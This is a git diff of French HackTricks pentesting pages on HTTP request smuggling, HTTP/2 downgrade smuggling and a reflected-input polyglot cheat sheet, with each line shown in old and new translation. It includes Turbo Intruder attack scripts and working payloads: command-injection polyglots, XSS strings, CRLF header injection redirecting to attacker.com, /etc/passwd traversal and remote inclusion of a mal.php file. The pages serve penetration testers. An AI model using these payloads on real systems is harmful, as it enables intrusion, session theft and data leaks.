Dans cette variante, l'attaquant fait passer une requête qui renvoie un contenu sensible spécifique à l'utilisateur. Par exemple :
|
||||
Dans cette variante, l'attaquant introduit une requête qui retourne un contenu sensible spécifique à l'utilisateur. Par exemple :
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
|
@ -368,18 +371,18 @@ Dans cette variante, l'attaquant fait passer une requête qui renvoie un contenu
|
|||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
|
||||
Si le **poison atteint un client qui accédait à un contenu statique** tel que `/someimage.png` qui allait être **mis en cache**. Le contenu de `/private/messages` de la victime sera mis en cache dans `/someimage.png` et l'attaquant pourra les voler.\
|
||||
Notez que l'**attaquant ne sait pas quel contenu statique la victime essayait d'accéder**, il est donc probablement préférable de tester cela en effectuant l'attaque, d'attendre quelques secondes et de **charger tous** les contenus statiques et de **rechercher les données privées**.
|
||||
Si **l'empoisonnement atteint un client qui accédait à un contenu statique** comme `/someimage.png` qui allait être **mis en cache**. Le contenu de `/private/messages` de la victime sera mis en cache dans `/someimage.png` et l'attaquant pourra les voler.\
|
||||
Notez que **l'attaquant ne sait pas quel contenu statique la victime essayait d'accéder** donc probablement la meilleure façon de tester cela est de réaliser l'attaque, attendre quelques secondes et **charger tout** le contenu statique et **rechercher les données privées**.
|
||||
|
||||
### Armer la contrebande de requêtes HTTP avec la désynchronisation des réponses HTTP
|
||||
### Armer l'HTTP Request Smuggling avec la désynchronisation de la réponse HTTP
|
||||
|
||||
Vous avez trouvé une vulnérabilité de contrebande de requêtes HTTP et vous ne savez pas comment l'exploiter. Essayez cette autre méthode d'exploitation :
|
||||
Avez-vous trouvé une vulnérabilité d'HTTP Request Smuggling et vous ne savez pas comment l'exploiter. Essayez ces autres méthodes d'exploitation :
|
||||
|
||||
{% content-ref url="../http-response-smuggling-desync.md" %}
|
||||
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Scripts Turbo Intruder
|
||||
## Scripts Turbo intruder
|
||||
|
||||
### CL.TE
|
||||
|
||||
|
@ -424,7 +427,7 @@ table.add(req)
|
|||
```
|
||||
### TE.CL
|
||||
|
||||
Depuis: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
|
||||
De : [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
|
@ -470,7 +473,7 @@ table.add(req)
|
|||
|
||||
![](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
|
||||
|
||||
[Image provenant d'ici.](https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104)
|
||||
[Image d'ici.](https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104)
|
||||
|
||||
## Outils
|
||||
|
||||
|
@ -478,7 +481,7 @@ table.add(req)
|
|||
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
|
||||
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
||||
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
||||
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Cet outil est un Fuzzer HTTP basé sur une grammaire utile pour trouver des divergences étranges dans les requêtes de smuggling.
|
||||
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer) : Cet outil est un Fuzzer HTTP basé sur la grammaire utile pour trouver des disparités étranges de request smuggling.
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -492,12 +495,14 @@ table.add(req)
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> !</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,41 +1,158 @@
|
|||
# Smuggling de requête dans les downgrades HTTP/2
|
||||
# Détournement de requête dans les rétrogradations HTTP/2
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Origines
|
||||
|
||||
La principale origine de cette vulnérabilité est le fait que le **proxy inverse** va **communiquer avec le client** en utilisant **HTTP/2**, mais il va ensuite **transformer** cette **communication** avec le **serveur back-end** en **HTTP/1.1**.
|
||||
L'origine principale de cette vulnérabilité est le fait que le **reverse proxy** va **communiquer avec le client** en utilisant **HTTP/2** puis il va **transformer** cette **communication** avec le **serveur back-end** en **HTTP/1.1**.
|
||||
|
||||
![](<../../.gitbook/assets/image (636) (1).png>)
|
||||
|
||||
Le problème avec cette approche est que l'**utilisateur** va pouvoir **injecter** des **en-têtes** inutiles dans la **communication HTTP/2** qui ne seront probablement pas vérifiées par le proxy. Mais ensuite, lorsque ceux-ci sont **injectés aveuglément dans la communication HTTP/1.1**, **une attaque de smuggling de requête peut être effectuée**.
|
||||
Le problème avec cette approche est que l'**utilisateur** va pouvoir **injecter** des **en-têtes** inutilement dans la **communication HTTP/2** qui probablement **ne seront pas vérifiés** par le proxy. Mais ensuite, lorsque ceux-ci sont **injectés à l'aveugle dans la communication HTTP/1.1**, **une attaque de détournement de requête peut être réalisée**.
|
||||
|
||||
## Exemples
|
||||
|
||||
### H2.CL Desync
|
||||
### Désynchronisation H2.CL
|
||||
|
||||
La spécification HTTP/2 indique que l'en-tête **Content-Length n'est pas nécessaire mais peut être indiqué**. Par conséquent, le **proxy inverse** va **traiter tout le contenu envoyé par les utilisateurs** comme la requête, mais ensuite, lorsqu'il **descend en HTTP/1.1**, cet **en-tête** va être **injecté** dans la **requête** et donc, le **back-end va traiter la requête comme 2 requêtes différentes** comme vous pouvez le voir sur l'image ci-dessous :
|
||||
La spécification HTTP/2 indique que l'en-tête **Content-Length n'est pas nécessaire mais peut être indiqué**. Par conséquent, le **reverse proxy** va **traiter tout le contenu envoyé par les utilisateurs** comme la requête, mais ensuite, lors de la **rétrogradation en HTTP/1.1**, cet **en-tête** va être **injecté** dans la **requête** et donc, le **serveur back-end traitera la requête comme 2 requêtes différentes** comme vous pouvez le voir dans l'image ci-dessous :
|
||||
|
||||
![](<../../.gitbook/assets/image (639).png>)
|
||||
|
||||
### H2.TE Desync URL Token Hijack
|
||||
### Détournement H2.TE et Hijack de Token d'URL
|
||||
|
||||
La spécification HTTP/2 indique également que **tout message contenant des champs d'en-tête spécifiques à la connexion DOIT être considéré comme malformé... mais si vous ne suivez pas cette règle, vous êtes vulnérable**.
|
||||
La spécification HTTP/2 indique également que **tout message contenant des champs d'en-tête spécifiques à la connexion doit être traité comme malformé... mais si vous ne suivez pas cette règle, vous êtes vulnérable**.
|
||||
|
||||
Cette technique a été exploitée sur le load balancer AWS, donc en s'assurant que les utilisateurs accèdent à un en-tête Host pointant vers un serveur contrôlé par l'attaquant, ils accéderont à ce serveur.
|
||||
Cette technique a été abusée sur le load balancer AWS, donc s'assurer que les utilisateurs accèdent à un en-tête Host pointant vers un serveur contrôlé par l'attaquant les fera accéder à ce serveur.
|
||||
|
||||
![](<../../.gitbook/assets/image (631) (1).png>)
|
||||
|
||||
### H2.TE Desync Header Hijack
|
||||
### Détournement H2.TE et Hijack d'En-tête
|
||||
|
||||
C'est exactement la même technique que précédemment, mais en vérifiant les requêtes, James a remarqué que les clients lui demandaient de lui envoyer leurs informations d'identification, il a donc simplement modifié son serveur pour permettre à CORS de lui envoyer les informations d
|
||||
C'est exactement la même technique que précédemment, mais en vérifiant les requêtes, James a remarqué que les clients demandaient à lui envoyer leurs identifiants, il a donc juste modifié son serveur pour permettre à CORS de lui envoyer les identifiants des gens :
|
||||
|
||||
![](<../../.gitbook/assets/image (662) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### H2.TE via Injection d'En-tête de Requête
|
||||
|
||||
**HTTP/2 n'autorisera également pas à mettre des caractères non autorisés dans les en-têtes**, mais si le serveur **ne respecte pas** cette règle, vous pouvez **injecter des en-têtes arbitraires** lorsque la communication est **rétrogradée** en HTTP/1.1.
|
||||
|
||||
Dans ce cas, **l'en-tête Transfer-Encoding a été injecté**.
|
||||
|
||||
![](<../../.gitbook/assets/image (648) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### H2.TE via Injection de Nom d'En-tête
|
||||
|
||||
HTTP/2 sur certains serveurs vous permet de mettre un **deux-points dans le nom de l'en-tête, et avec un** vous pouvez injecter un nouvel en-tête à l'intérieur du nom de l'en-tête comme ceci :
|
||||
|
||||
![](<../../.gitbook/assets/image (632) (1).png>)
|
||||
|
||||
Notez que si vous mettez juste les caractères de nouvelle ligne en envoyant un en-tête sans contenu, la requête va être traitée comme **non valide** :
|
||||
|
||||
![](<../../.gitbook/assets/image (647) (1) (1) (1).png>)
|
||||
|
||||
### H2.TE via Injection de Ligne de Requête
|
||||
|
||||
Dans ce cas, l'injection a été réalisée à l'intérieur de la ligne de requête :
|
||||
|
||||
![](<../../.gitbook/assets/image (640) (1).png>)
|
||||
|
||||
### Injection de Préfixe d'URL
|
||||
|
||||
À l'intérieur du schéma de la connexion HTTP/2, vous pourriez être capable d'envoyer une URL complète qui écrasera celle indiquée dans le chemin :
|
||||
|
||||
![](<../../.gitbook/assets/image (661) (1) (1).png>)
|
||||
|
||||
### Injection de Ligne de Requête via des espaces
|
||||
|
||||
![](<../../.gitbook/assets/image (641) (1).png>)
|
||||
|
||||
## Réutilisation de la connexion frontend->backend
|
||||
|
||||
Parfois, vous constaterez qu'en effectuant une attaque de Détournement de Requête HTTP, **vous ne pouvez attaquer que vous-même**. Cela pourrait être parce que le reverse proxy a décidé d'**utiliser une connexion différente avec le serveur back-end** par IP.
|
||||
|
||||
Notez que **même** avec cette **restriction**, vous pouvez toujours réaliser des attaques telles que des **contournements d'autorisation**, des fuites d'en-têtes internes et des attaques de **tromperie de cache et d'empoisonnement de cache**.
|
||||
|
||||
Habituellement, cette restriction n'existe pas, vous pouvez donc **détourner des requêtes dans la connexion entre le reverse proxy et le back-end** que d'autres personnes utilisent, mais il est même **possible** que le **proxy** ne **réutilise même pas une connexion avec des connexions de la même IP** (restriction assez lourde pour ce type d'attaque).
|
||||
|
||||
![](<../../.gitbook/assets/image (646) (1) (1).png>)
|
||||
|
||||
Dans la restriction la plus lourde (pas de réutilisation de connexion), vous détecterez la vulnérabilité avec la technique basée sur le temps, mais en la testant, vous constaterez qu'il s'agit d'un "faux positif".
|
||||
|
||||
### Confirmation de Tunneling
|
||||
|
||||
Une manière de **confirmer** si le **point de terminaison est vulnérable** mais que la connexion est **à l'intérieur d'un "tunnel"** est de **détourner 2 requêtes complètes** en 1.
|
||||
|
||||
Le **problème** avec **HTTP/1.1** est que si vous **recevez 2 réponses HTTP**, vous **ne savez pas** si le point de terminaison était **vulnérable** ou non et la **requête "détournée" a juste été traitée comme une requête régulière**.
|
||||
|
||||
Cependant, cette technique peut être utilisée **en HTTP/2** car si le point de terminaison était **vulnérable** et que vous avez détourné une requête, vous verrez les **en-têtes de la réponse à la requête détournée dans la réponse du reverse proxy** :
|
||||
|
||||
![](<../../.gitbook/assets/image (652) (1) (1) (1).png>)
|
||||
|
||||
### Problème de Vision en Tunnel
|
||||
|
||||
Il pourrait y avoir un autre problème, si la **réponse** à la requête légitime **contient** un **Content-Length**, le **reverse proxy** ne va lire que les **octets spécifiés là et pas plus, donc vous ne pourrez pas lire la réponse de la requête détournée.**
|
||||
|
||||
Cependant, la requête **HEAD** **ne contient pas de corps** mais elle contient généralement le **Content-Length** comme si la requête était une requête GET. Par conséquent, en envoyant une requête **HEAD** **au lieu d'une requête POST**, vous pouvez **lire les octets du Content-Length HEAD** de la réponse à la requête détournée.
|
||||
|
||||
![](<../../.gitbook/assets/image (628) (1) (1).png>)
|
||||
|
||||
### Fuite d'En-têtes Internes via Tunneling
|
||||
|
||||
Si vous trouvez un **paramètre POST** à l'intérieur de l'application dont le **contenu** va être **reflété** dans la **réponse**, alors vous pouvez essayer d'injecter des caractères HTTP/1.1 \r\n à l'intérieur d'un en-tête de requête HTTP/2 afin que les nouveaux en-têtes injectés par le proxy soient ajoutés dans le paramètre POST qui sera reflété dans la réponse :
|
||||
|
||||
![](<../../.gitbook/assets/image (656) (1) (1).png>)
|
||||
|
||||
Notez que dans ce cas, l'**attaquant** se soucie juste de la **réponse** à la **première** **requête**, il n'a pas besoin de lire la requête à la deuxième requête détournée invalide.
|
||||
|
||||
{% hint style="info" %}
|
||||
Utiliser cette attaque **contre différentes parties du web (méthode, chemin...)** peut conduire à l'utilisation de différents back-ends et à la **fuite d'informations sensibles différentes**
|
||||
{% endhint %}
|
||||
|
||||
### Empoisonnement de Cache via Tunneling
|
||||
|
||||
Dans ce scénario, une requête **HEAD** vers l'**URL** **dont le** **cache** va être **empoisonné** est envoyée tout en **détournant** une **requête** dont le **contenu de la réponse contiendra le payload** (peut-être un payload XSS).
|
||||
|
||||
Du fait que la **réponse HEAD contient le `Content-Type: text/html`** et parce que le reverse proxy pense que **toute la réponse à la requête détournée est le corps de la requête HEAD**, le **payload XSS** va être **traité comme du HTML** même si la page n'était pas vulnérable au XSS.
|
||||
|
||||
![](<../../.gitbook/assets/image (659) (1).png>)
|
||||
|
||||
## HTTP/2 Caché
|
||||
|
||||
Habituellement, les serveurs annoncent le support via le champ ALPN dans la poignée de main TLS, mais certains ne le font pas.
|
||||
|
||||
Il peut être facilement détecté en utilisant `curl --http2 --http2-prior-knowledge`
|
||||
|
||||
## Outils
|
||||
|
||||
* Extension Burp : HTTP Request Smuggler
|
||||
* [https://github.com/neex/http2smugl](https://github.com/neex/http2smugl)
|
||||
|
||||
## Références
|
||||
|
||||
* Cette conférence explique parfaitement toutes les techniques indiquées ici : [https://www.youtube.com/watch?v=rHxVVeM9R-M](https://www.youtube.com/watch?v=rHxVVeM9R-M)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,31 +1,30 @@
|
|||
# Techniques de Réflexion - PoCs et Polyglottes CheatSheet
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
L'objectif de ces PoCs et Polygloths est de donner au testeur un **résumé rapide** des vulnérabilités qu'il peut exploiter si son **entrée est en quelque sorte reflétée dans la réponse**.
|
||||
L'objectif de ces PoCs et Polyglottes est de fournir au testeur un **résumé** rapide des vulnérabilités qu'il peut exploiter si son **entrée est d'une manière ou d'une autre reflétée dans la réponse**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Cette **feuille de triche ne propose pas une liste exhaustive de tests pour chaque vulnérabilité**, seulement quelques tests de base. Si vous cherchez des tests plus complets, accédez à chaque vulnérabilité proposée.
|
||||
Cette **cheatsheet ne propose pas une liste exhaustive de tests pour chaque vulnérabilité**, juste quelques tests de base. Si vous recherchez des tests plus complets, accédez à chaque vulnérabilité proposée.
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
Vous ne trouverez pas d'injections dépendantes du Content-Type comme XXE, car vous les essayerez généralement vous-même si vous trouvez une requête envoyant des données xml. Vous ne trouverez pas non plus d'injections de base de données ici, car même si certains contenus peuvent être reflétés, cela dépend fortement de la technologie et de la structure de la base de données backend.
|
||||
Vous **ne trouverez pas d'injections dépendantes du Content-Type comme XXE**, car généralement vous les essayerez vous-même si vous trouvez une requête envoyant des données xml. Vous **ne trouverez pas non plus d'injections de base de données** ici car même si certains contenus peuvent être reflétés, cela dépend fortement de la technologie et de la structure de la base de données en backend.
|
||||
{% endhint %}
|
||||
|
||||
# Liste des Polygloths
|
||||
## Liste des Polyglottes
|
||||
```python
|
||||
{{7*7}}[7*7]
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
|
@ -65,20 +64,20 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
|
|||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
|
||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
|
||||
```
|
||||
# [Injection de modèle côté client](../client-side-template-injection-csti.md)
|
||||
## [Injection de modèle côté client](../client-side-template-injection-csti.md)
|
||||
|
||||
## Tests de base
|
||||
### Tests de base
|
||||
```
|
||||
{{7*7}}
|
||||
[7*7]
|
||||
```
|
||||
## Polyglottes
|
||||
### Polyglottes
|
||||
```bash
|
||||
{{7*7}}[7*7]
|
||||
```
|
||||
# [Injection de commande](../command-injection.md)
|
||||
## [Injection de commande](../command-injection.md)
|
||||
|
||||
## Tests de base
|
||||
### Tests de base
|
||||
```bash
|
||||
;ls
|
||||
||ls;
|
||||
|
@ -89,29 +88,29 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
|
|||
`ls`
|
||||
$(ls)
|
||||
```
|
||||
## Polyglottes
|
||||
### Polyglottes
|
||||
```bash
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
```
|
||||
# [CRLF](../crlf-0d-0a.md)
|
||||
## [CRLF](../crlf-0d-0a.md)
|
||||
|
||||
## Tests de base
|
||||
### Tests de base
|
||||
```bash
|
||||
%0d%0aLocation:%20http://attacker.com
|
||||
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
||||
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
||||
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
|
||||
```
|
||||
# Markup Suspendu
|
||||
## Balisage en suspens
|
||||
|
||||
## Tests de base
|
||||
### Tests de base
|
||||
```markup
|
||||
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
|
||||
```
|
||||
# [Inclusion de fichier/Traversée de chemin](../inclusion-de-fichier/)
|
||||
## [Inclusion de fichier/Parcours de chemin](../file-inclusion/)
|
||||
|
||||
## Tests de base
|
||||
### Tests de base
|
||||
```bash
|
||||
/etc/passwd
|
||||
../../../../../../etc/hosts
|
||||
|
@ -124,9 +123,9 @@ C:/windows/system32/drivers/etc/hosts
|
|||
http://asdasdasdasd.burpcollab.com/mal.php
|
||||
\\asdasdasdasd.burpcollab.com/mal.php
|
||||
```
|
||||
# [Redirection ouverte](../open-redirect.md) / [Forgery de requête côté serveur](../ssrf-server-side-request-forgery/)
|
||||
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
|
||||
|
||||
## Tests de base
|
||||
### Tests de base
|
||||
```bash
|
||||
www.whitelisted.com
|
||||
www.whitelisted.com.evil.com
|
||||
|
@ -134,34 +133,34 @@ https://google.com
|
|||
//google.com
|
||||
javascript:alert(1)
|
||||
```
|
||||
# [ReDoS](../regular-expression-denial-of-service-redos.md)
|
||||
## [ReDoS](../regular-expression-denial-of-service-redos.md)
|
||||
|
||||
## Tests de base
|
||||
### Tests de base
|
||||
```bash
|
||||
(\\w*)+$
|
||||
([a-zA-Z]+)*$
|
||||
((a+)+)+$
|
||||
```
|
||||
# [Inclusion de côté serveur/Inclusion de côté bordure](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
